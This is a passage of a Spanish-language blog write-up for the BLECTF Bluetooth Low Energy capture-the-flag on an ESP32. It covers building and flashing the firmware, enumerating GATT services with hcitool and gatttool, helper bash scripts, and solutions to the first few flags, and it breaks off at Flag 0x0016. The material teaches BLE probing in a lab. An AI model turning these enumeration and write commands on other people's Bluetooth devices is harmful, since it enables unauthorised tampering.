<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCP8a1bD8608Dk9b9YDG1UzPpzJA3jwZGrNAS1ll7CSfb6rotGC-keCqYeqeY9KQsSW5Hfx9MNeMzMYKFy5Qz4LCD7YjFF7C7IkMnaj_2kK-8zM7KYj72zAEaV1wPTtVsJJGdBf5ih21s/s1600/install01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="42" data-original-width="619" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCP8a1bD8608Dk9b9YDG1UzPpzJA3jwZGrNAS1ll7CSfb6rotGC-keCqYeqeY9KQsSW5Hfx9MNeMzMYKFy5Qz4LCD7YjFF7C7IkMnaj_2kK-8zM7KYj72zAEaV1wPTtVsJJGdBf5ih21s/s1600/install01.png" /></a></div>
<br /></div>
<div>
<br /></div>
<div>
<span style="font-family: inherit;">Ahora estamos en disposición de compilar y flashear nuestro CTF y para ello lo primero es descargarlo desde el <a href="https://github.com/hackgnar/ble_ctf.git" target="_blank">GitHub del creador</a> y descomprimirlo en nuestro sistema. Acto seguido ejecutaremos "</span><span style="font-family: "courier new" , "courier" , monospace;"><b>make menuconfig</b></span><span style="font-family: inherit;">" lo que nos abrirá un menú de opciones y donde deberemos llevar a cabo una acción muy sencilla pero que a mi personalmente me volvió loco durante horas pues sin ella es imposible compilar y es, por lógico que parezca, habilitar Bluetooth en las opciones del framework!!<br />Esta configuración la encontraremos dentro de "Component config" y a su vez dentro de "Bluetooth".</span><br />
<span style="font-family: inherit;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizE9XBnCNxQFtVf2DTzUzZP2fKP7xEA0Rxky6eC9SsVvgELlJwCXysL86504XJXEa8dihyphenhyphen_tY6Iupg42w7NbOvbjljR1oG8KBmwWsnnKdiwPdwxOTJQmllC6rbFHPbclhiH9NKk2c-7FI/s1600/bluetooth_activation.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="503" data-original-width="1124" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizE9XBnCNxQFtVf2DTzUzZP2fKP7xEA0Rxky6eC9SsVvgELlJwCXysL86504XJXEa8dihyphenhyphen_tY6Iupg42w7NbOvbjljR1oG8KBmwWsnnKdiwPdwxOTJQmllC6rbFHPbclhiH9NKk2c-7FI/s1600/bluetooth_activation.png" /></a></div>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<br />
<div style="text-align: justify;">
<span style="font-family: inherit;">Salimos del aplicativo (guardando los cambios antes!) y acto seguido podemos lanzar el comando "</span><span style="font-family: "courier new" , "courier" , monospace;"><b>make</b></span><span style="font-family: inherit;">" para llevar a cabo la complicacion del archivo bin que después grabaremos en el hardware.</span></div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1I7wjLDN0jnofFM4bSKQiwPxQoR7lIG9Uwh-Y1hz0iXASjN15UhhWOyCdMEZuToqfOw2VG8393shPxH2oTlHvH_Ej40GCgUACuSn1T8dDLcc6RyVrK_Vgqhs0FoAM86ltiLyzvcO9cl0/s1600/install02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="363" data-original-width="940" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1I7wjLDN0jnofFM4bSKQiwPxQoR7lIG9Uwh-Y1hz0iXASjN15UhhWOyCdMEZuToqfOw2VG8393shPxH2oTlHvH_Ej40GCgUACuSn1T8dDLcc6RyVrK_Vgqhs0FoAM86ltiLyzvcO9cl0/s1600/install02.png" /></a></div>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<br />
<div style="text-align: justify;">
<span style="font-family: inherit;">Ya por último solo debemos conectar nuestro ESP32 a nuestro ordenador, asegurarnos que el dispositivo es reconocido para después ejecutar "</span><span style="font-family: "courier new" , "courier" , monospace;"><b>make flash</b></span><span style="font-family: inherit;">" y observar como comienza el flasheo de la plataforma de retos en el ESP32. En solo unos minutos el dispositivo se reiniciará y ya estará anunciándose en el espectro inalámbrico como dispositivo BLE.</span></div>
</div>
<div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><br /></span></div>
</div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbSEAQ4Xq1RZHtk2yYM4fnVcez5jhBEjhSZyu7nqyeFWYl6Z_EAUipBJjtm6dVOsEl5rRNZqkdh2jz4LAefqBQtwij_vUzJ710pwOelRhNOBrChUvCwII9BFrzrdrcN3hZnDAK5sAMwJM/s1600/install03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="384" data-original-width="861" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbSEAQ4Xq1RZHtk2yYM4fnVcez5jhBEjhSZyu7nqyeFWYl6Z_EAUipBJjtm6dVOsEl5rRNZqkdh2jz4LAefqBQtwij_vUzJ710pwOelRhNOBrChUvCwII9BFrzrdrcN3hZnDAK5sAMwJM/s1600/install03.png" /></a></div>
<span style="font-family: "courier new" , "courier" , monospace;"><b><br /></b></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b><br /></b></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b><br /></b></span>
<br />
<div>
<h3>
Primeros pasos con el CTF </h3>
</div>
<div>
<div style="text-align: justify;">
Antes de comenzar a pelearnos directamente con las flags, hay algunas cosas que debemos conocer y "poner en su sitio" de una forma mínimamente ordenada las cuales nos facilitarán el terreno para poder concentrarnos en resolver los retos propuestos, es una especie de fase de reconocimiento en el que unos de los primeros pasos será identificar nuestro dispositivo bluetooth local así como localizar en nuestras inmediaciones el ESP32 corriendo BLECTF.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Para ambas cosas nos ayudaremos de la suite de herramientas <a href="https://helpmanual.io/help/hcitool/" target="_blank">hcitool</a> y vamos a comenzar por conocer como nuestro sistema ha nombrado nuestro dispositivo, usando el comando <span style="font-family: "courier new" , "courier" , monospace;"><b>hcitool dev</b></span> la herramienta nos muestra todos los dispositivos bluetooth que el sistema operativo haya reconocido, en nuestro caso al ser solo uno, nos lo ha nombrado como <b>hci0</b>.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbam_KmxnauPqRCQMJsOdbd71jh34mZv8OQvo5ZApu7x9WlKfvVhqZcmj4NDrNzGpF5cbVRXBmf1URwW8UpJ39AP_ToAhPh2uERmPyo_bQvl3phaMDYJPFusXLivbCEfe9L55UHnvcfgg/s1600/mydevice.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="66" data-original-width="339" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbam_KmxnauPqRCQMJsOdbd71jh34mZv8OQvo5ZApu7x9WlKfvVhqZcmj4NDrNzGpF5cbVRXBmf1URwW8UpJ39AP_ToAhPh2uERmPyo_bQvl3phaMDYJPFusXLivbCEfe9L55UHnvcfgg/s1600/mydevice.png" /></a></div>
<br />
<br />
<div style="text-align: justify;">
El siguiente paso va a ser tratar de localizar el ESP32 que esta corriendo el BLECTF y para ello volvemos a usar <span style="font-family: "courier new" , "courier" , monospace;"><b>hcitool </b></span>esta vez con la opcion<span style="font-family: "courier new" , "courier" , monospace;"> </span><b><span style="font-family: "courier new" , "courier" , monospace;">lescan</span> </b>que rastreará el espectro en busca de dispositivos BLE dentro del alcance, enseguida observaremos como aparece un dispositivo claramente diferenciado con el nombre públicado <b><i>BLECTF</i></b>, deberemos apuntarnos su dirección mac <span style="font-family: "courier new" , "courier" , monospace;">30:AE:A4:7B:7E:72</span> pues vamos a usarla mucho de ahora en adelante.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWY8XvraxQ3zz2tAzarRIv8SlsyhcYoWXDmnwvAFWS7IPRbViWYyTbXRvowBqUWzdjFKpxnXXWN-OrlVO8ts0ESLfaWGi82IdEoOYfDO_N21scdJ8RE7vm-RVK1Z72TjNbU3MYADQA9Uc/s1600/detectvlectf.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="165" data-original-width="282" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWY8XvraxQ3zz2tAzarRIv8SlsyhcYoWXDmnwvAFWS7IPRbViWYyTbXRvowBqUWzdjFKpxnXXWN-OrlVO8ts0ESLfaWGi82IdEoOYfDO_N21scdJ8RE7vm-RVK1Z72TjNbU3MYADQA9Uc/s1600/detectvlectf.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Tal y como el autor nos indica en su Github, otra herramienta que necesitamos conocer y con la que es mejor que nos familiaricemos lo antes posible es <b>GATTTOOL</b>, una herramienta enfocada al BLE y que nos permitirá interactuar con los servicios GATT de nuestra unidad de hardware CTF.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Con gatttool podemos descubrir, leer y escribir características la estructura de datos de características y atributos que leímos en el aburrido apartado de teoría.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNb42-fCJeBC2PLlLoRwXf2LFah3dXoITv77MGqiwQgHNK3ShvHi8Q07uqDVWmf_J9iTrI3yl9gqpLQWnPSk3YmxSRjqV1VyrTKBEXp8N5R24LvGleqx5BVsYdJBMjLRufa5nqRdFGMZY/s1600/gatttool.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="346" data-original-width="965" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNb42-fCJeBC2PLlLoRwXf2LFah3dXoITv77MGqiwQgHNK3ShvHi8Q07uqDVWmf_J9iTrI3yl9gqpLQWnPSk3YmxSRjqV1VyrTKBEXp8N5R24LvGleqx5BVsYdJBMjLRufa5nqRdFGMZY/s1600/gatttool.png" /></a></div>
<br />
<br />
<div style="text-align: justify;">
Comenzamos solicitándole al dispositivo los servicios ofrecidos con el comando <span style="font-family: "courier new" , "courier" , monospace;"><b>gatttool -b 30:ae:a4:7b:7e:72 --primary</b></span> donde obtendremos tres resultados cada uno con su UUID individual definido, y de los cuales solo uno no esta definido por la norma (<b>00001800</b>) y por tanto esta personalizado, por lo que es él quien alberga el CTF.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVzYHOD7lCK_Hjxf8NNDFa2FWV9SZlLzVTr2WqFc0vV4I1fIrOFVfmNNITvkIFAv9XMFjde_y07LphyO3SygnyNOEhNo1S3Dyl81CnAHIzqakcxS7dr6E359DqERZ4I3Pl_kL_0qYsPO8/s1600/services.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="77" data-original-width="811" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVzYHOD7lCK_Hjxf8NNDFa2FWV9SZlLzVTr2WqFc0vV4I1fIrOFVfmNNITvkIFAv9XMFjde_y07LphyO3SygnyNOEhNo1S3Dyl81CnAHIzqakcxS7dr6E359DqERZ4I3Pl_kL_0qYsPO8/s1600/services.png" /></a></div>
<br />
<br />
<div style="text-align: justify;">
Si queremos observar donde están los 20 retos del CTF con sus respectivos handles usamos el comando <b style="font-family: "courier new", courier, monospace;">gatttool -b 30:ae:a4:7b:7e:72 --characteristics</b><b style="font-family: Arial, Helvetica, sans-serif;"> </b></div>
<div style="text-align: justify;">
<b><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></b>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTw1QQFLryd0YXZxO67V8j6dkDJVaLAu8TkPuv7fnkQrATLnOzLgWqlf12TZ3yVX3k7eBtLnQ5-DrFQJix_ZbA9qOuvPaTebPyKgOlttvFc51GygpsW13JMAPwqKs_WGmC-Lhu7kHT0I0/s1600/characteristics.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="508" data-original-width="1024" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTw1QQFLryd0YXZxO67V8j6dkDJVaLAu8TkPuv7fnkQrATLnOzLgWqlf12TZ3yVX3k7eBtLnQ5-DrFQJix_ZbA9qOuvPaTebPyKgOlttvFc51GygpsW13JMAPwqKs_WGmC-Lhu7kHT0I0/s1600/characteristics.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<br />
<div style="text-align: justify;">
Según el propio autor no sindica en la Github del proyecto, hay un comando que vamos a usar bastante a partir de ahora y que nos va a servir para saber nuestra puntuación y comprobar, después de meter las flags, que estas son correctas y suben al marcador. Esa puntuación se almacena en el handle <b>0x002a</b> y el comando que nos sugierem el creador es: <span style="font-family: "courier new" , "courier" , monospace;"><b>gatttool -b 30:ae:a4:7b:7e:72 --char-read -a 0x002a|awk -F':' '{print $2}'|tr -d ' '|xxd -r -p;printf '\n'</b></span></div>
<div style="text-align: justify;">
Como vamos a usarlo en numerosas ocasiones y no es un comando precisamente corto, es buena idea meterlo en un archivo bash para que sea mas fácil su ejecución.</div>
<span style="font-family: inherit;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtBj6urV1fMhDm3Mf56Hx2AjSru-5_Dzh88dwuY3F-T4GMczFRy4Z8JQrWCPHdL8kGYLSvZ2Bz86JI6U6QBniovkMOHakKTgio3J6hNGdqzV-YYW2OMZUi50KS8vekQaQfBooRX5F8sJU/s1600/score.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="122" data-original-width="986" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtBj6urV1fMhDm3Mf56Hx2AjSru-5_Dzh88dwuY3F-T4GMczFRy4Z8JQrWCPHdL8kGYLSvZ2Bz86JI6U6QBniovkMOHakKTgio3J6hNGdqzV-YYW2OMZUi50KS8vekQaQfBooRX5F8sJU/s1600/score.png" /></a></div>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span><br />
<div style="text-align: justify;">
<span style="font-family: inherit;">Con solo darle permisos de ejecución nos habremos hecho la vida mucho mas fácil y bastará ejecutarlo para consultar la puntuación en todo momento.</span></div>
<br />
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOCVd-EboN5WGQlSp2B73-QhwMp0nsNYsbMwyaFBVUf1w8ZbRdGAqW8hrjOko8A5pzgOFVONPFwTcg1F3tJDVMNrZJU-9GIYaq81C32VOs6MG2cegtiERMJrwEouAopK6InD0gR5iq35I/s1600/score_demo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="38" data-original-width="233" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOCVd-EboN5WGQlSp2B73-QhwMp0nsNYsbMwyaFBVUf1w8ZbRdGAqW8hrjOko8A5pzgOFVONPFwTcg1F3tJDVMNrZJU-9GIYaq81C32VOs6MG2cegtiERMJrwEouAopK6InD0gR5iq35I/s1600/score_demo.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Del mismo modo que nos hemos ayudado de bash para facilitarnos la consulta de nuestra puntuación al ESP32, podemos repetir el mismo procedimiento con el resto de comandos que vamos a necesitar de forma repetitiva como es el de leer el contenido del handle.</div>
<div class="separator" style="clear: both; text-align: justify;">
Como este varia con cada flag, deberemos configurare nuestro ejecutable en bash para pasarle como argumento el valor del handle con <span style="font-family: "courier new" , "courier" , monospace;"><b>'-a $1'</b></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><b><br /></b></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2fjua79fZrn-yVHPSODQrA4RWyps6t7G4fFSjBDFPQdxi90AgApR6Kp3vk32h5SerD9-Kj_RQs0VK9MqJ15CJBFZw8pviAbT9oVUTZ3fyiA6Rb_zpRzigV68hNlwWB3AFYTRChOY2zjk/s1600/lee_handle.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="109" data-original-width="1006" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2fjua79fZrn-yVHPSODQrA4RWyps6t7G4fFSjBDFPQdxi90AgApR6Kp3vk32h5SerD9-Kj_RQs0VK9MqJ15CJBFZw8pviAbT9oVUTZ3fyiA6Rb_zpRzigV68hNlwWB3AFYTRChOY2zjk/s1600/lee_handle.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "courier new" , "courier" , monospace;"><b><br /></b></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_8wJimvZTSRrYP94G4GLXOg2omX8zgZ0Ae-krsypIslvOSvrxbMTQd3WQHVZ-EGWaiocxBaQX7zLfR8i46Z9Dr3cxEXpCswHW9E6BY6TfPvZjyyLQSV3Ew9oHVgIPbkaRCTgsj0FPBlA/s1600/lee_handle_demo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="38" data-original-width="452" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_8wJimvZTSRrYP94G4GLXOg2omX8zgZ0Ae-krsypIslvOSvrxbMTQd3WQHVZ-EGWaiocxBaQX7zLfR8i46Z9Dr3cxEXpCswHW9E6BY6TfPvZjyyLQSV3Ew9oHVgIPbkaRCTgsj0FPBlA/s1600/lee_handle_demo.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div style="text-align: justify;">
Y ahora ya si, por fin, lo tenemos todo en su sitio y preparado para empezar a enfrentarnos a los 20 retos de la plataforma. Manos a la obra!!</div>
<div style="text-align: justify;">
<br /></div>
<br /></div>
<h3>
WRITE-UP</h3>
<div>
<h4>
Flag 1</h4>
<div style="text-align: justify;">
La primera flag la debemos hacer tan solo siguiendo las indicaciones que nos da el propio autor en su <a href="https://github.com/hackgnar/ble_ctf/blob/master/docs/hints/flag1.md" target="_blank">hint correspondiente</a> y es un "regalo" para que nos familiaricemos con con el modo en el que vamos a subir las flags a la plataforma.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqewFfR32NzSaneOqR23nA7GzddVlEjDcCY8b-pySLozvfdDpBcnanhohY6rTHXrx44xitV3Iig-Mulvr_EIgFGNMLKIqSNFAFu6H1PuE6TMTxqCx7a5Nv2nBeRpwXn8f4JRaoFyaO-3o/s1600/hint+1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="406" data-original-width="576" height="281" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqewFfR32NzSaneOqR23nA7GzddVlEjDcCY8b-pySLozvfdDpBcnanhohY6rTHXrx44xitV3Iig-Mulvr_EIgFGNMLKIqSNFAFu6H1PuE6TMTxqCx7a5Nv2nBeRpwXn8f4JRaoFyaO-3o/s400/hint+1.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Dicho y hecho! Seguimos sus indicaciones al pie de la letra y recibimos un mensaje indicando que se ha grabado correctamente el valor en esa característica, comprobamos la puntuación con nuestro ejecutable en bash y efectivamente tenemos un punto correspondiente a esa primera flag!! </div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuZGCaUsqxxaie_K0pjOs28xi0hX2Uh6TrjVyAet91ReGkm2TgvZ6yRzXnBTpa9LjkO-XALvtwjgB0upishrh1xi7mJTWWs6HPQqnvwgbaWmtJYDEafIaHGMn-z6p4F59mDMrMoSOwawo/s1600/hint+1_flag02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="87" data-original-width="1036" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuZGCaUsqxxaie_K0pjOs28xi0hX2Uh6TrjVyAet91ReGkm2TgvZ6yRzXnBTpa9LjkO-XALvtwjgB0upishrh1xi7mJTWWs6HPQqnvwgbaWmtJYDEafIaHGMn-z6p4F59mDMrMoSOwawo/s1600/hint+1_flag02.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Lo que aprendemos con esta primera flag es que los valores vamos a tener que meterlos en el handle de lectura y escritura <b>0x002c</b>, por lo que quizás no es tan mala idea volver a facilitarnos la vida y crear otro archivo ejecutable en bash que memorice por nosotros el comando completo y cuyo valor de la flag le pasemos como argumento para utilizarlo de ahora en adelante. Es importante respetar xxd para que la grabe en formato hexadecimal.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV0miqBnD_iYobNm_22c0MW-1jpJIUJGlTgBFjcyPkq-Y5WiuhXVXa_qKDdt_MLG2VYRlYjqqczKC9G6Kmevl86KzPEPs4BPpsEc5YrtnsD8thcKGeVHUtFRLOCwY5kQocFuqWKxfZOMQ/s1600/mete_flag.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="116" data-original-width="837" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV0miqBnD_iYobNm_22c0MW-1jpJIUJGlTgBFjcyPkq-Y5WiuhXVXa_qKDdt_MLG2VYRlYjqqczKC9G6Kmevl86KzPEPs4BPpsEc5YrtnsD8thcKGeVHUtFRLOCwY5kQocFuqWKxfZOMQ/s1600/mete_flag.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div>
<span style="background-color: #f6f8fa; color: #24292e; font-size: 16px;"><span style="font-family: inherit;"><br /></span></span></div>
<div>
<span style="background-color: #f6f8fa; color: #24292e; font-size: 16px;"><span style="font-family: inherit;"><br /></span></span></div>
<div>
<span style="background-color: #f6f8fa;"><span style="color: #24292e;"></span></span><br />
<h3>
</h3>
<h4>
Flag 0x002e </h4>
<span style="font-family: inherit;">En esta flag lo que nos piden es que leamos el handle <b>0x002e </b>y el valor resultante sea el que metamos como flag en el handle <b>0x002c</b>. Manos a la obra: comenzamos por leer el handle para obtener el valor del mismo.</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_I9lzNpgCYwFiT3wEZZvUxxA_ocKuQ3-_SGRzcc70vzcJDaeVfTx7-vi5mqHIs_ZdN21dofcQ5PqtyRMkFA9Ts3SUGN2qCvd14OKrFGA2skCwUj_8mVGqCkRzd71mhFxr2aBSR99C5Co/s1600/flag2_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="39" data-original-width="1078" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_I9lzNpgCYwFiT3wEZZvUxxA_ocKuQ3-_SGRzcc70vzcJDaeVfTx7-vi5mqHIs_ZdN21dofcQ5PqtyRMkFA9Ts3SUGN2qCvd14OKrFGA2skCwUj_8mVGqCkRzd71mhFxr2aBSR99C5Co/s1600/flag2_00.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: inherit;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: inherit;"><br /></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: inherit;">Ahora procedemos a usar nuestro archivo creado en el reto anterior para remitir la flag y acto seguido consultar del mismo modo la puntuación y observar si contamos con un punto más y por tanto la flag era correcta.</span></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm4feMpxt4-xHEyMJNg5TFLZOzW78aadj-L1v4GVXu1sKXZHXRWHNMJzhYFxvtVyk9lbc7Qsc0iS5LpDfirOUkgii3wAqtl0UXRpozQLKjhcTE6ySxWScxbe-NUhMsKHuLb6NPCjQm9wU/s1600/flag2_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="87" data-original-width="464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm4feMpxt4-xHEyMJNg5TFLZOzW78aadj-L1v4GVXu1sKXZHXRWHNMJzhYFxvtVyk9lbc7Qsc0iS5LpDfirOUkgii3wAqtl0UXRpozQLKjhcTE6ySxWScxbe-NUhMsKHuLb6NPCjQm9wU/s1600/flag2_01.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<br />
<br />
<h4>
Flag 0x0030</h4>
<div class="separator" style="clear: both; text-align: justify;">
Comenzamos por leer el handle <b>0x0030 </b>y nos indica que la flag consiste en el MD5 del nombre del dispositivo.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXP-sHzngpHb2zOMGLAn8bTeq5atHGlb7tHGGO-Gb0utt0Gto6FZ-Eq8dx5n-lz7uSn4mpuwbIYf-MbDT6OFrDlynsJ0GmWNtoH4WdJCH7jRcg22IVcU0WfVODTgJOovtpk9z4ZfEjIOo/s1600/flag3_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="38" data-original-width="452" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXP-sHzngpHb2zOMGLAn8bTeq5atHGlb7tHGGO-Gb0utt0Gto6FZ-Eq8dx5n-lz7uSn4mpuwbIYf-MbDT6OFrDlynsJ0GmWNtoH4WdJCH7jRcg22IVcU0WfVODTgJOovtpk9z4ZfEjIOo/s1600/flag3_00.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Averiguaremos el valor necesario usando "<span style="font-family: "courier new" , "courier" , monospace;"><b>echo -n BLECTF | md5sum</b></span>" para acto seguido remitir esos 20 primeros caracteres con nuestro archivo ejecutable y al comprobar la puntuación observamos que ya tenemos un punto más en la saca!</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJwg8BVXV3ZcUZsD51FcMGmW9mZ0I-YI6TR2G0e2ONNcw3dgTF6iSFGxbf3r8FWtYO36AQKE4FjT85BoV8R0E5n7qSdgv4DfZk-A1Th3asxG5T7teuI8zqjUURh5SMJhheYZnuV3icf98/s1600/flag3_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="138" data-original-width="630" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJwg8BVXV3ZcUZsD51FcMGmW9mZ0I-YI6TR2G0e2ONNcw3dgTF6iSFGxbf3r8FWtYO36AQKE4FjT85BoV8R0E5n7qSdgv4DfZk-A1Th3asxG5T7teuI8zqjUURh5SMJhheYZnuV3icf98/s1600/flag3_02.png" /></a></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<b><u>IMPORTANTE</u></b>: en todas las flags, el string que debemos pasarle como argumento debe estar limitado a los 20 primeros caracteres. Podéis implementar una función en el ejecutable para que trunque la cadenas a esos 20 primeros caracteres).</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<h4 style="clear: both; text-align: left;">
Flag 0x0016</h4>
<div class="separator" style="clear: both; text-align: justify;">
La hint de esta flag nos invita a encontrar el valor de [Generic Access - Device Name]. Para ello vamos a comenzar una sesión interactiva con el ESP32 mediante gatttool.</div>
<div class="separator" style="clear: both; text-align: justify;">
Comenzamos abriendo una sesión interactiva y conectando al dispositivo con el comando "<span style="font-family: "courier new" , "courier" , monospace;"><b>gatttool -b 30:AE:A4:7B:7E:72 -I</b></span>" y despues usando el comando "<span style="font-family: "courier new" , "courier" , monospace;"><b>connect</b></span>":</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
